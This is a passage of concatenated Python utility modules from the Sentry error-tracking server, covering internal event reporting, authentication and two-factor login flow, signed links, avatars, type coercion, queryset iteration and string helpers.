        return super(SentryInternalClient, self).capture(*args, **kwargs)

    def send(self, **kwargs):
        # TODO(dcramer): this should respect rate limits/etc and use the normal
        # pipeline

        # Report the issue to an upstream Sentry if active
        # NOTE: we don't want to check self.is_enabled() like normal, since
        # is_enabled behavior is overridden in this class. We explicitly
        # want to check if the remote is active.
        if self.remote.is_active():
            from sentry import options
            # Append some extra tags that are useful for remote reporting
            super_kwargs = copy.deepcopy(kwargs)
            super_kwargs['tags']['install-id'] = options.get('sentry:install-id')
            super(SentryInternalClient, self).send(**super_kwargs)

        if not is_current_event_safe():
            return

        from sentry.app import tsdb
        from sentry.coreapi import ClientApiHelper
        from sentry.event_manager import EventManager
        from sentry.models import Project

        helper = ClientApiHelper(
            agent='raven-python/%s (sentry %s)' % (raven.VERSION, sentry.VERSION),
            project_id=settings.SENTRY_PROJECT,
            version=self.protocol_version,
        )

        try:
            project = Project.objects.get_from_cache(id=settings.SENTRY_PROJECT)
        except DatabaseError:
            self.error_logger.error('Unable to fetch internal project',
                                    exc_info=True)
            return
        except Project.DoesNotExist:
            self.error_logger.error('Internal project (id=%s) does not exist',
                                    settings.SENTRY_PROJECT)
            return
        except Exception:
            self.error_logger.error(
                'Unable to fetch internal project for some unknown reason',
                exc_info=True)
            return

        helper.context.bind_project(project)

        metrics.incr('events.total')

        kwargs['project'] = project.id
        try:
            # This in theory is the right way to do it because validate
            # also normalizes currently, but we just send in data already
            # normalised in the raven client now.
            # data = helper.validate_data(project, kwargs)
            data = kwargs
            manager = EventManager(data)
            data = manager.normalize()
            tsdb.incr_multi([
                (tsdb.models.project_total_received, project.id),
                (tsdb.models.organization_total_received, project.organization_id),
            ])
            helper.insert_data_to_database(data)
        except Exception as e:
            if self.raise_send_errors:
                raise
            message = kwargs.get('message')
            if not message:
                msg_interface = kwargs.get('sentry.interface.Message', {})
                message = msg_interface.get('formatted', msg_interface.get('message', 'unknown error'))
            self.error_logger.error(
                'Unable to record event: %s\nEvent was: %r', e,
                message, exc_info=True)


class SentryInternalFilter(logging.Filter):
    def filter(self, record):
        # TODO(mattrobenolt): handle an upstream Sentry
        metrics.incr('internal.uncaptured.logs')
        return is_current_event_safe()






from __future__ import absolute_import

from sentry.exceptions import InvalidConfiguration
from sentry.utils import warnings


class Version(tuple):
    def __str__(self):
        return '.'.join(map(str, self))


def summarize(sequence, max=3):
    items = sequence[:max]
    remainder = len(sequence) - max
    if remainder == 1:
        items.append('and one other')
    elif remainder > 1:
        items.append('and %s others' % (remainder,))
    return items


def make_upgrade_message(service, modality, version, hosts):
    return '{service} {modality} be upgraded to {version} on {hosts}.'.format(
        hosts=','.join(map(str, summarize(hosts.keys(), 2))),
        modality=modality,
        service=service,
        version=version,
    )


def check_versions(service, versions, required, recommended=None):
    """
    Check that hosts fulfill version requirements.

    :param service: service label, such as ``Redis``
    :param versions: mapping of host to ``Version``
    :param required: lowest supported ``Version``. If any host does not fulfill
        this requirement, an ``InvalidConfiguration`` exception is raised.
    :param recommended: recommended version. If any host does not fulfill this
        requirement, a ``PendingDeprecationWarning`` is raised.
    """
    # x = (host, version)
    must_upgrade = dict(filter(lambda x: required > x[1], versions.items()))
    if must_upgrade:
        raise InvalidConfiguration(make_upgrade_message(service, 'must', required, must_upgrade))

    if recommended:
        # x = (host, version)
        should_upgrade = dict(filter(lambda x: recommended > x[1], versions.items()))
        if should_upgrade:
            warnings.warn(
                make_upgrade_message(service, 'should', recommended, should_upgrade),
                PendingDeprecationWarning,
            )






"""
sentry.utils.avatar
~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.

Note: also see letterAvatar.jsx. Anything changed in this file (how colors are
selected, the svg, etc) will also need to be changed there.
"""
from __future__ import absolute_import

import six

from django.conf import settings
from django.core.exceptions import ValidationError
from django.core.validators import validate_email
from django.utils.encoding import force_text
from django.utils.html import escape
from six.moves.urllib.parse import urlencode

from sentry.utils.hashlib import md5_text
from sentry.http import safe_urlopen


def get_gravatar_url(email, size=None, default='mm'):
    if email is None:
        email = ''
    gravatar_url = "%s/avatar/%s" % (settings.SENTRY_GRAVATAR_BASE_URL,
                                     md5_text(email.lower()).hexdigest())

    properties = {}
    if size:
        properties['s'] = six.text_type(size)
    if default:
        properties['d'] = default
    if properties:
        gravatar_url += "?" + urlencode(properties)

    return gravatar_url


LETTER_AVATAR_COLORS = [
    '#25A6F7',  # blue
    '#1D87CE',  # blue_dark
    '#6FBA57',  # green
    '#4F923C',  # green_dark
    '#F8A509',  # yellow_orange
    '#E35141',  # red
    '#B64236',  # red_dark
    '#E56AA6',  # pink
    '#836CC2',  # purple
    '#6958A2',  # purple_dark
    '#44ADA0',  # teal
    '#6F7E94'   # gray
]


COLOR_COUNT = len(LETTER_AVATAR_COLORS)


def hash_user_identifier(identifier):
    identifier = force_text(identifier, errors='replace')
    return sum(map(ord, identifier))


def get_letter_avatar_color(identifier):
    hashed_id = hash_user_identifier(identifier)
    return LETTER_AVATAR_COLORS[hashed_id % COLOR_COUNT]


def get_letter_avatar(display_name, identifier, size=None, use_svg=True):
    display_name = (display_name or '').strip() or '?'
    names = display_name.split(' ')
    initials = '%s%s' % (names[0][0], names[-1][0] if len(names) > 1 else '')
    initials = escape(initials.upper())
    color = get_letter_avatar_color(identifier)
    if use_svg:
        size_attrs = 'height="%s" width="%s"' % (size, size) if size else ''
        return (
            u'<svg viewBox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" {size_attrs}>'
            '<rect x="0" y="0" width="120" height="120" rx="15" ry="15" fill={color}></rect>'
            '<text x="50%" y="50%" font-size="65" dominant-baseline="central" text-anchor="middle" fill="#FFFFFF">'
            '{initials}'
            '</text>'
            '</svg>').format(color=color, initials=initials, size_attrs=size_attrs)
    else:
        size_attrs = 'height:%spx;width:%spx;' % (size, size) if size else ''
        font_size = 'font-size:%spx;' % (size / 2) if size else ''
        line_height = 'line-height:%spx;' % size if size else ''
        return (
            u'<span class="html-avatar" '
            'style="background-color:{color};{size_attrs}{font_size}{line_height}">'
            '{initials}</span>').format(color=color, initials=initials,
                                        size_attrs=size_attrs, font_size=font_size,
                                        line_height=line_height)


def get_email_avatar(display_name, identifier, size=None, try_gravatar=True):
    if try_gravatar:
        try:
            validate_email(identifier)
        except ValidationError:
            pass
        else:
            try:
                resp = safe_urlopen(get_gravatar_url(identifier, default=404))
            except Exception:
                pass
            else:
                if resp.status_code == 200:
                    # default to mm if including in emails
                    gravatar_url = get_gravatar_url(identifier, size=size)
                    return u'<img class="avatar" src="{url}">'.format(url=gravatar_url)
    return get_letter_avatar(display_name, identifier, size, use_svg=False)






from __future__ import absolute_import

from django.core import signing
from django.core.urlresolvers import reverse

from sentry import options
from sentry.models import User
from sentry.utils.http import absolute_uri
from sentry.utils.numbers import base36_encode, base36_decode


def get_signer():
    return signing.TimestampSigner(salt='sentry-link-signature')


def generate_signed_link(user, viewname, args=None, kwargs=None):
    """This returns an absolute URL where the given user is signed in for
    the given viewname with args and kwargs.  This returns a redirect link
    that if followed sends the user to another URL which carries another
    signature that is valid for that URL only.  The user can also be a user
    ID.
    """
    if hasattr(user, 'is_authenticated'):
        if not user.is_authenticated():
            raise RuntimeError('Need an authenticated user to sign a link.')
        user_id = user.id
    else:
        user_id = user

    path = reverse(viewname, args=args, kwargs=kwargs)
    item = '%s|%s|%s' % (options.get('system.url-prefix'), path,
                         base36_encode(user_id))
    signature = ':'.join(get_signer().sign(item).rsplit(':', 2)[1:])

    return '%s?_=%s:%s' % (
        absolute_uri(path),
        base36_encode(user_id),
        signature,
    )


def process_signature(request, max_age=60 * 60 * 24 * 10):
    """Given a request object this validates the signature from the
    current request and returns the user.
    """
    sig = request.GET.get('_') or request.POST.get('_sentry_request_signature')
    if not sig or sig.count(':') < 2:
        return None

    signed_data = '%s|%s|%s' % (request.build_absolute_uri('/').rstrip('/'),
                                request.path, sig)
    try:
        data = get_signer().unsign(signed_data, max_age=max_age)
    except signing.BadSignature:
        return None

    _, signed_path, user_id = data.rsplit('|', 2)
    if signed_path != request.path:
        return None

    try:
        return User.objects.get(pk=base36_decode(user_id))
    except (ValueError, User.DoesNotExist):
        return None






from __future__ import absolute_import

import ipaddress
import re
import six

EVENT_ID_RE = re.compile(r'^[a-fA-F0-9]{32}$')


def validate_ip(value, required=True):
    if not required and not value:
        return

    # will raise a ValueError
    ipaddress.ip_network(six.text_type(value), strict=False)
    return value


def is_float(var):
    try:
        float(var)
    except (TypeError, ValueError):
        return False
    return True


def is_event_id(value):
    try:
        return bool(EVENT_ID_RE.match(value))
    except TypeError:
        return False






"""
sentry.utils.imports
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import inspect
import six
import sys

from sentry.utils.imports import import_string

PACKAGES = {
    'django.db.backends.postgresql_psycopg2': 'psycopg2.extensions',
    'sentry.db.postgres': 'psycopg2.extensions',
    'django.db.backends.mysql': 'MySQLdb',
    'django.db.backends.oracle': 'cx_Oracle',
    'django.core.cache.backends.memcached.MemcachedCache': 'memcache',
    'django.core.cache.backends.memcached.PyLibMCCache': 'pylibmc'
}


def reraise_as(new_exception_or_type):
    """
    Obtained from https://github.com/dcramer/reraise/blob/master/src/reraise.py
    >>> try:
    >>>     do_something_crazy()
    >>> except Exception:
    >>>     reraise_as(UnhandledException)
    """
    __traceback_hide__ = True  # NOQA

    e_type, e_value, e_traceback = sys.exc_info()

    if inspect.isclass(new_exception_or_type):
        new_type = new_exception_or_type
        new_exception = new_exception_or_type()
    else:
        new_type = type(new_exception_or_type)
        new_exception = new_exception_or_type

    new_exception.__cause__ = e_value

    try:
        six.reraise(new_type, new_exception, e_traceback)
    finally:
        del e_traceback


def validate_settings(settings):
    for key, engine_key, engine_type in \
            [('DATABASES', 'ENGINE', 'database engine'), ('CACHES', 'BACKEND', 'caching backend')]:

        value = getattr(settings, key, {})
        for alias in value:
            engine = value[alias][engine_key]
            if engine not in PACKAGES:
                continue
            validate_dependency(settings, engine_type, engine, PACKAGES[engine])


def validate_dependency(settings, dependency_type, dependency, package):
    try:
        import_string(package)
    except ImportError:
        msg = ConfigurationError.get_error_message("%s %s" % (dependency_type, dependency), package)
        reraise_as(ConfigurationError(msg))


class ConfigurationError(ValueError):
    """
    This error is thrown whenever a sentry configuration is wrong, or requires a third-party library
    that's not installed properly or can't be found.
    """
    @classmethod
    def get_error_message(cls, dependency, package):
        return """Python could not find %(package)s in your current environment (required by %(dependency)s). If you have it installed, maybe you are using the wrong python binary to run sentry?""" % {
            "dependency": dependency,
            "package": package
        }






"""
sentry.utils.auth
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six
import time
import logging

from django.conf import settings
from django.contrib.auth import login as _login
from django.contrib.auth.backends import ModelBackend
from django.core.urlresolvers import reverse

from sentry.models import User, Authenticator
from sentry.web.helpers import get_login_url

logger = logging.getLogger('sentry.auth')


class AuthUserPasswordExpired(Exception):

    def __init__(self, user):
        self.user = user


def _make_key_value(val):
    return val.strip().split('=', 1)


def parse_auth_header(header):
    try:
        return dict(map(_make_key_value, header.split(' ', 1)[1].split(',')))
    except Exception:
        return {}


def get_auth_providers():
    return [
        key for key, cfg_names
        in six.iteritems(settings.AUTH_PROVIDERS)
        if all(getattr(settings, c, None) for c in cfg_names)
    ]


def get_pending_2fa_user(request):
    rv = request.session.get('_pending_2fa')
    if rv is None:
        return

    user_id, created_at = rv
    if created_at < time.time() - 60 * 5:
        return None

    try:
        return User.objects.get(pk=user_id)
    except User.DoesNotExist:
        pass


def has_pending_2fa(request):
    return request.session.get('_pending_2fa') is not None


def get_login_redirect(request, default=None):
    if default is None:
        default = get_login_url()

    # If there is a pending 2fa authentication bound to the session then
    # we need to go to the 2fa dialog.
    if has_pending_2fa(request):
        return reverse('sentry-2fa-dialog')

    # If we have a different URL to go after the 2fa flow we want to go to
    # that now here.
    after_2fa = request.session.pop('_after_2fa', None)
    if after_2fa is not None:
        return after_2fa

    login_url = request.session.pop('_next', None) or default
    if login_url.startswith(('http://', 'https://')):
        login_url = default
    elif login_url.startswith(get_login_url()):
        login_url = default
    return login_url


def find_users(username, with_valid_password=True, is_active=None):
    """
    Return a list of users that match a username
    and falling back to email
    """
    qs = User.objects

    if is_active is not None:
        qs = qs.filter(is_active=is_active)

    if with_valid_password:
        qs = qs.exclude(password='!')

    try:
        # First, assume username is an iexact match for username
        user = qs.get(username__iexact=username)
        return [user]
    except User.DoesNotExist:
        # If not, we can take a stab at guessing it's an email address
        if '@' in username:
            # email isn't guaranteed unique
            return list(qs.filter(email__iexact=username))
    return []


def login(request, user, passed_2fa=False, after_2fa=None):
    """This logs a user in for the sesion and current request.  If 2FA is
    enabled this method will start the 2FA flow and return False, otherwise
    it will return True.  If `passed_2fa` is set to `True` then the 2FA flow
    is set to be finalized (user passed the flow).

    Optionally `after_2fa` can be set to a URL which will be used to override
    the regular session redirect target directly after the 2fa flow.
    """
    has_2fa = Authenticator.objects.user_has_2fa(user)
    if has_2fa and not passed_2fa:
        request.session['_pending_2fa'] = [user.id, time.time()]
        if after_2fa is not None:
            request.session['_after_2fa'] = after_2fa
        return False

    request.session.pop('_pending_2fa', None)

    # Check for expired passwords here after we cleared the 2fa flow.
    # While this means that users will have to pass 2fa before they can
    # figure out that their passwords are expired this is still the more
    # reasonable behavior.
    #
    # We also rememebr _after_2fa here so that we can continue the flow if
    # someone does it in the same browser.
    if user.is_password_expired:
        raise AuthUserPasswordExpired(user)

    # If there is no authentication backend, just attach the first
    # one and hope it goes through.  This apparently is a thing we
    # have been doing for a long time, just moved it to a more
    # reasonable place.
    if not hasattr(user, 'backend'):
        user.backend = settings.AUTHENTICATION_BACKENDS[0]
    _login(request, user)
    log_auth_success(request, user.username)
    return True


def log_auth_success(request, username):
    logger.info('user.auth.success', extra={
        'ip_address': request.META['REMOTE_ADDR'],
        'username': username,
    })


def log_auth_failure(request, username=None):
    logger.info('user.auth.fail', extra={
        'ip_address': request.META['REMOTE_ADDR'],
        'username': username,
    })


class EmailAuthBackend(ModelBackend):
    """
    Authenticate against django.contrib.auth.models.User.

    Supports authenticating via an email address or a username.
    """
    def authenticate(self, username=None, password=None):
        users = find_users(username)
        if users:
            for user in users:
                try:
                    if user.password and user.check_password(password):
                        return user
                except ValueError:
                    continue
        return None






"""
sentry.utils.imports
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import pkgutil
import six


class ModuleProxyCache(dict):
    def __missing__(self, key):
        if '.' not in key:
            return __import__(key)

        module_name, class_name = key.rsplit('.', 1)

        module = __import__(module_name, {}, {}, [class_name])
        handler = getattr(module, class_name)

        # We cache a NoneType for missing imports to avoid repeated lookups
        self[key] = handler

        return handler

_cache = ModuleProxyCache()


def import_string(path):
    """
    Path must be module.path.ClassName

    >>> cls = import_string('sentry.models.Group')
    """
    result = _cache[path]
    return result


def import_submodules(context, root_module, path):
    """
    Import all submodules and register them in the ``context`` namespace.

    >>> import_submodules(locals(), __name__, __path__)
    """
    for loader, module_name, is_pkg in pkgutil.walk_packages(path, root_module + '.'):
        # this causes a Runtime error with model conflicts
        # module = loader.find_module(module_name).load_module(module_name)
        module = __import__(module_name, globals(), locals(), ['__name__'])
        for k, v in six.iteritems(vars(module)):
            if not k.startswith('_'):
                context[k] = v
        context[module_name] = module






"""
sentry.utils.types
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2016 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import six

from yaml.parser import ParserError
from yaml.scanner import ScannerError

from sentry.utils.yaml import safe_load

__all__ = (
    'InvalidTypeError',
    'Any', 'Bool', 'Int', 'Float', 'String', 'Dict', 'Sequence',
)


class InvalidTypeError(TypeError):
    pass


class Type(object):
    """Base Type that provides type coersion"""
    name = ''
    # Default value to be returned when initializing
    default = None
    # Types that do not need to be coerced
    expected_types = ()
    # Types that are acceptable for coersion
    compatible_types = six.string_types

    def __call__(self, value=None):
        if value is None:
            return self._default()
        if self.test(value):
            return value
        if isinstance(value, self.compatible_types):
            rv = self.convert(value)
            # Make sure convert was able to do the right thing
            # and give us the type we were expecting
            if self.test(rv):
                return rv
        raise InvalidTypeError('{!r} is not a valid {}'.format(value, repr(self)))

    def convert(self, value):
        return value

    def _default(self):
        return self.default

    def test(self, value):
        """Check if the value is the correct type or not"""
        return isinstance(value, self.expected_types)

    def __repr__(self):
        return self.name


class AnyType(Type):
    """A type that accepts any value and does no coersion"""
    name = 'any'
    expected_types = (object,)
    compatible_types = (object,)


class BoolType(Type):
    "Coerce a boolean from a string"
    name = 'boolean'
    default = False
    expected_types = (bool,)

    def convert(self, value):
        value = value.lower()
        if value in ('y', 'yes', 't', 'true', '1', 'on'):
            return True
        if value in ('n', 'no', 'f', 'false', '0', 'off'):
            return False


class IntType(Type):
    """Coerce an integer from a string"""
    name = 'integer'
    default = 0
    expected_types = six.integer_types

    def convert(self, value):
        try:
            return int(value)
        except ValueError:
            return


class FloatType(Type):
    """Coerce a float from a string or integer"""
    name = 'float'
    default = 0.0
    expected_types = (float,)
    compatible_types = six.string_types + six.integer_types + (float,)

    def convert(self, value):
        try:
            return float(value)
        except ValueError:
            return


class StringType(Type):
    """String type without any coersion, must be a string"""
    name = 'string'
    default = u''
    expected_types = six.string_types
    compatible_types = six.string_types


class DictType(Type):
    """Coerce a dict out of a json/yaml string"""
    name = 'dictionary'
    expected_types = (dict,)

    def _default(self):
        # make sure we create a fresh dict each time
        return {}

    def convert(self, value):
        try:
            return safe_load(value)
        except (AttributeError, ParserError, ScannerError):
            return


class SequenceType(Type):
    """Coerce a tuple out of a json/yaml string or a list"""
    name = 'sequence'
    default = ()
    expected_types = (tuple, list)
    compatible_types = six.string_types + (tuple, list)

    def convert(self, value):
        if isinstance(value, six.string_types):
            try:
                value = safe_load(value)
            except (AttributeError, ParserError, ScannerError):
                return
        if isinstance(value, list):
            value = tuple(value)
        return value


# Initialize singletons of each type for easy reuse
Any = AnyType()
Bool = BoolType()
Int = IntType()
Float = FloatType()
String = StringType()
Dict = DictType()
Sequence = SequenceType()


# Mapping for basic types into what their Type is
_type_mapping = {
    bool: Bool,
    int: Int,
    float: Float,
    six.binary_type: String,
    six.text_type: String,
    dict: Dict,
    tuple: Sequence,
    list: Sequence,
}


def type_from_value(value):
    """Fetch Type based on a primitive value"""
    return _type_mapping[type(value)]






"""
sentry.utils.query
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import progressbar
import six

from django.db import connections, IntegrityError, router, transaction
from django.db.models import ForeignKey
from django.db.models.deletion import Collector
from django.db.models.signals import pre_delete, pre_save, post_save, post_delete

from sentry.utils import db


class InvalidQuerySetError(ValueError):
    pass


class RangeQuerySetWrapper(object):
    """
    Iterates through a queryset by chunking results by ``step`` and using GREATER THAN
    and LESS THAN queries on the primary key.

    Very efficient, but ORDER BY statements will not work.
    """
    def __init__(self, queryset, step=1000, limit=None, min_id=None,
                 order_by='pk', callbacks=()):
        # Support for slicing
        if queryset.query.low_mark == 0 and not \
                (queryset.query.order_by or queryset.query.extra_order_by):
            if limit is None:
                limit = queryset.query.high_mark
            queryset.query.clear_limits()
        else:
            raise InvalidQuerySetError

        self.limit = limit
        if limit:
            self.step = min(limit, abs(step))
            self.desc = step < 0
        else:
            self.step = abs(step)
            self.desc = step < 0
        self.queryset = queryset
        self.min_value = min_id
        self.order_by = order_by
        self.callbacks = callbacks

    def __iter__(self):
        max_value = None
        if self.min_value is not None:
            cur_value = self.min_value
        else:
            cur_value = None

        num = 0
        limit = self.limit

        queryset = self.queryset
        if self.desc:
            queryset = queryset.order_by('-%s' % self.order_by)
        else:
            queryset = queryset.order_by(self.order_by)

        # we implement basic cursor pagination for columns that are not unique
        last_object = None
        has_results = True
        while has_results:
            if (max_value and cur_value >= max_value) or (limit and num >= limit):
                break

            start = num

            if cur_value is None:
                results = queryset
            elif self.desc:
                results = queryset.filter(**{'%s__lte' % self.order_by: cur_value})
            elif not self.desc:
                results = queryset.filter(**{'%s__gte' % self.order_by: cur_value})

            results = list(results[0:self.step])

            for cb in self.callbacks:
                cb(results)

            for result in results:
                if result == last_object:
                    continue

                yield result

                num += 1
                cur_value = getattr(result, self.order_by)
                last_object = result

            if cur_value is None:
                break

            has_results = num > start


class RangeQuerySetWrapperWithProgressBar(RangeQuerySetWrapper):
    def __iter__(self):
        total_count = self.queryset.count()
        if not total_count:
            return iter([])
        iterator = super(RangeQuerySetWrapperWithProgressBar, self).__iter__()
        label = self.queryset.model._meta.verbose_name_plural.title()
        return iter(WithProgressBar(iterator, total_count, label))


class WithProgressBar(object):
    def __init__(self, iterator, count=None, caption=None):
        if count is None and hasattr(iterator, '__len__'):
            count = len(iterator)
        self.iterator = iterator
        self.count = count
        self.caption = six.text_type(caption or u'Progress')

    def __iter__(self):
        if self.count != 0:
            widgets = [
                '%s: ' % (self.caption,),
                progressbar.Percentage(),
                ' ',
                progressbar.Bar(),
                ' ',
                progressbar.ETA(),
            ]
            pbar = progressbar.ProgressBar(widgets=widgets, maxval=self.count)
            pbar.start()
            for idx, item in enumerate(self.iterator):
                yield item
                pbar.update(idx)
            pbar.finish()


class EverythingCollector(Collector):
    """
    More or less identical to the default Django collector except we always
    return relations (even when they shouldn't matter).
    """
    def collect(self, objs, source=None, nullable=False, collect_related=True,
                source_attr=None, reverse_dependency=False):
        new_objs = self.add(objs)
        if not new_objs:
            return

        model = type(new_objs[0])

        # Recursively collect concrete model's parent models, but not their
        # related objects. These will be found by meta.get_all_related_objects()
        concrete_model = model._meta.concrete_model
        for ptr in six.iteritems(concrete_model._meta.parents):
            if ptr:
                # FIXME: This seems to be buggy and execute a query for each
                # parent object fetch. We have the parent data in the obj,
                # but we don't have a nice way to turn that data into parent
                # object instance.
                parent_objs = [getattr(obj, ptr.name) for obj in new_objs]
                self.collect(parent_objs, source=model,
                             source_attr=ptr.rel.related_name,
                             collect_related=False,
                             reverse_dependency=True)

        if collect_related:
            for related in model._meta.get_all_related_objects(
                    include_hidden=True, include_proxy_eq=True):
                sub_objs = self.related_objects(related, new_objs)
                self.add(sub_objs)

            # TODO This entire block is only needed as a special case to
            # support cascade-deletes for GenericRelation. It should be
            # removed/fixed when the ORM gains a proper abstraction for virtual
            # or composite fields, and GFKs are reworked to fit into that.
            for relation in model._meta.many_to_many:
                if not relation.rel.through:
                    sub_objs = relation.bulk_related_objects(new_objs, self.using)
                    self.collect(sub_objs,
                                 source=model,
                                 source_attr=relation.rel.related_name,
                                 nullable=True)


def merge_into(self, other, callback=lambda x: x, using='default'):
    """
    Collects objects related to ``self`` and updates their foreign keys to
    point to ``other``.

    If ``callback`` is specified, it will be executed on each collected chunk
    before any changes are made, and should return a modified list of results
    that still need updated.

    NOTE: Duplicates (unique constraints) which exist and are bound to ``other``
    are preserved, and relations on ``self`` are discarded.
    """
    # TODO: proper support for database routing
    s_model = type(self)

    # Find all the objects than need to be deleted.
    collector = EverythingCollector(using=using)
    collector.collect([self])

    for model, objects in six.iteritems(collector.data):
        # find all potential keys which match our type
        fields = set(
            f.name for f in model._meta.fields
            if isinstance(f, ForeignKey)
            and f.rel.to == s_model
            if f.rel.to
        )
        if not fields:
            # the collector pulls in the self reference, so if it's our model
            # we actually assume it's probably not related to itself, and its
            # perfectly ok
            if model == s_model:
                continue
            raise TypeError('Unable to determine related keys on %r' % model)

        for obj in objects:
            send_signals = not model._meta.auto_created

            # find fields which need changed
            update_kwargs = {}
            for f_name in fields:
                if getattr(obj, f_name) == self:
                    update_kwargs[f_name] = other

            if not update_kwargs:
                # as before, if we're referencing ourself, this is ok
                if obj == self:
                    continue
                raise ValueError('Mismatched row present in related results')

            signal_kwargs = {
                'sender': model,
                'instance': obj,
                'using': using,
                'migrated': True,
            }

            if send_signals:
                pre_delete.send(**signal_kwargs)
                post_delete.send(**signal_kwargs)

            for k, v in six.iteritems(update_kwargs):
                setattr(obj, k, v)

            if send_signals:
                pre_save.send(created=True, **signal_kwargs)

            try:
                with transaction.atomic(using=using):
                    model.objects.using(using).filter(pk=obj.pk).update(**update_kwargs)
            except IntegrityError:
                # duplicate key exists, destroy the relations
                model.objects.using(using).filter(pk=obj.pk).delete()

            if send_signals:
                post_save.send(created=True, **signal_kwargs)


def bulk_delete_objects(model, limit=10000, logger=None, **filters):
    connection = connections[router.db_for_write(model)]
    quote_name = connection.ops.quote_name

    query = []
    params = []
    for column, value in filters.items():
        query.append('%s = %%s' % (quote_name(column),))
        params.append(value)

    if logger is not None:
        logger.info('remove.%s' % model.__name__.lower(), extra={column: value})

    if db.is_postgres():
        query = """
            delete from %(table)s
            where id = any(array(
                select id
                from %(table)s
                where (%(query)s)
                limit %(limit)d
            ))
        """ % dict(
            query=' AND '.join(query),
            table=model._meta.db_table,
            limit=limit,
        )
    elif db.is_mysql():
        query = """
            delete from %(table)s
            where (%(query)s)
            limit %(limit)d
        """ % dict(
            query=' AND '.join(query),
            table=model._meta.db_table,
            limit=limit,
        )
    else:
        if logger is not None:
            logger.warning('Using slow deletion strategy due to unknown database')
        has_more = False
        for obj in model.objects.filter(**filters)[:limit]:
            obj.delete()
            has_more = True
        return has_more

    cursor = connection.cursor()
    cursor.execute(query, params)
    return cursor.rowcount > 0






"""
sentry.utils.strings
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import base64
import re
import six
import string
import zlib

from django.utils.encoding import force_text, smart_text
from itertools import count

# Callsigns we do not want to generate automatically because they might
# overlap with something else that is popular (like GH for GitHub)
CALLSIGN_BLACKLIST = ['GH']

_callsign_re = re.compile(r'^[A-Z]{2,6}$')
_word_sep_re = re.compile(r'[\s.;,_-]+(?u)')
_camelcase_re = re.compile(
    r'(?:[A-Z]{2,}(?=[A-Z]))|(?:[A-Z][a-z0-9]+)|(?:[a-z0-9]+)')
_letters_re = re.compile(r'[A-Z]+')
_digit_re = re.compile(r'\d+')
_sprintf_placeholder_re = re.compile(
    r'%(?:\d+\$)?[+-]?(?:[ 0]|\'.{1})?-?\d*(?:\.\d+)?[bcdeEufFgGosxX]')


def truncatechars(value, arg):
    """
    Truncates a string after a certain number of chars.

    Argument: Number of chars to truncate after.
    """
    try:
        length = int(arg)
    except ValueError:  # Invalid literal for int().
        return value  # Fail silently.
    if len(value) > length:
        return value[:length - 3] + '...'
    return value


def compress(value):
    """
    Compresses a value for safe passage as a string.

    This returns a unicode string rather than bytes, as the Django ORM works
    with unicode objects.
    """
    return base64.b64encode(zlib.compress(value)).decode('utf-8')


def decompress(value):
    return zlib.decompress(base64.b64decode(value))


def gunzip(value):
    return zlib.decompress(value, 16 + zlib.MAX_WBITS)


def strip(value):
    if not value:
        return ''
    return smart_text(value).strip()


def soft_hyphenate(value, length, hyphen=u'\u00ad'):
    return hyphen.join([value[i:(i + length)] for i in range(0, len(value), length)])


def soft_break(value, length, process=lambda chunk: chunk):
    """
    Encourages soft breaking of text values above a maximum length by adding
    zero-width spaces after common delimeters, as well as soft-hyphenating long
    identifiers.
    """
    delimiters = re.compile(r'([{}]+)'.format(''.join(map(re.escape, ',.$:/+@!?()<>[]{}'))))

    def soft_break_delimiter(match):
        results = []

        value = match.group(0)
        chunks = delimiters.split(value)
        for i, chunk in enumerate(chunks):
            if i % 2 == 1:  # check if this is this a delimiter
                results.extend([chunk, u'\u200b'])
            else:
                results.append(process(chunk))

        return u''.join(results).rstrip(u'\u200b')

    return re.sub(r'\S{{{},}}'.format(length), soft_break_delimiter, value)


def to_unicode(value):
    try:
        value = six.text_type(force_text(value))
    except (UnicodeEncodeError, UnicodeDecodeError):
        value = '(Error decoding value)'
    except Exception:  # in some cases we get a different exception
        try:
            value = six.text_type(repr(type(value)))
        except Exception:
            value = '(Error decoding value)'
    return value


def validate_callsign(value):
    if not value:
        return None
    callsign = value.strip().upper()
    if _callsign_re.match(callsign) is None:
        return None
    return callsign


def iter_callsign_choices(project_name):
    words = list(x.upper() for x in tokens_from_name(
        project_name, remove_digits=True))
    bits = []

    if len(words) == 2:
        bits.append(words[0][:1] + words[1][:1])
    elif len(words) == 3:
        bits.append(words[0][:1] + words[1][:1] + words[2][:1])
    elif words:
        bit = words[0][:2]
        if len(bit) == 2:
            bits.append(bit)
        bit = words[0][:3]
        if len(bit) == 3:
            bits.append(bit)

    # Fallback if nothing else works, use PR for project
    if not bits:
        bits.append('PR')

    for bit in bits:
        if bit not in CALLSIGN_BLACKLIST:
            yield bit

    for idx in count(2):
        for bit in bits:
            bit = '%s%d' % (bit, idx)
            if bit not in CALLSIGN_BLACKLIST:
                yield bit


def split_camelcase(word):
    pieces = _camelcase_re.findall(word)

    # Unicode characters or some stuff, ignore it.
    if sum(len(x) for x in pieces) != len(word):
        yield word
    else:
        for piece in pieces:
            yield piece


def split_any_wordlike(value, handle_camelcase=False):
    for word in _word_sep_re.split(value):
        if handle_camelcase:
            for chunk in split_camelcase(word):
                yield chunk
        else:
            yield word


def tokens_from_name(value, remove_digits=False):
    for word in split_any_wordlike(value, handle_camelcase=True):
        if remove_digits:
            word = _digit_re.sub('', word)
        word = word.lower()
        if word:
            yield word


valid_dot_atom_characters = frozenset(
    string.ascii_letters +
    string.digits +
